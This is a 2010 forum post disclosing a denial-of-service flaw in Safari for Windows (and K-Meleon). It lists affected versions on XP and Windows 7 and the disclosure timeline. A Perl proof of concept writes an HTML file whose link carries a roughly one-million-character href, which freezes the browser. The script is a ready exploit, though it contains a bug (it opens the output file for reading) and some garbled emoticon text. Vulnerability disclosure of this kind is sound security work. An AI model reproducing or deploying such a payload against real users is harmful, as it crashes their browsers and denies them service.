Safari for windows Long link DoS

andry Mon Sep 27, 2010 5:56 am

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Safari for windows Long link DoS
Vendor URL:http://www.apple.com/safari/
Vendor notified:Yes exploit available: YES
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Safari is prone vulnerable to Dos with a very long Link...
This issue is exploitable via web links like <a href="very long URL">
click here</a> or similar vectors. Safari fails to render the link
and it turn Frozen resulting in a Denial of service condition.

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Versions Tested
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I have tested this issue in win xp sp3 and a windows 7 fully pached.

Win XP sp3:

Safari 5.0.X vulnerable
Safari 4.xx vulnerable

windows 7 Ultimate:

Safari 5.0.X vulnerable
Safari 4.xx vulnerable

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References
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Discovered: 29-07-2010
vendor notify:31-07-2010
Vendor Response:
Vendor patch:

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Proof Of Concept
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#!/usr/bin/perl
# safari & k-meleon Long "a href" Link DoS
# Safari 5.0.1 ( 7533,17, Cool

and prior versions Long link DoS
# generate the file open it with safari wait a seconds
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$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Usage: $0 <archivo.html>\n";

}

$cabecera = "<html>" . "\n";
$payload = "<a href="about:neterror?e=connectionFailure&c=" . "/" x 1028135 . "">click here if you can Smile

</a>" . "\n";
$fin = "</html>";

$datos = $cabecera . $payload . $fin;

open(FILE, '<' . $archivo);
print FILE $datos;
close(FILE);

exit;

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Related Links
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vendor bugtracker : http://kmeleon.sourceforge.net/bugs/viewbug.php?bugid=1251
Posible related Vuln: https://bugzilla.mozilla.org/show_bug.cgi?id=583474
Test Case : https://bugzilla.mozilla.org/attachment.cgi?id=461776

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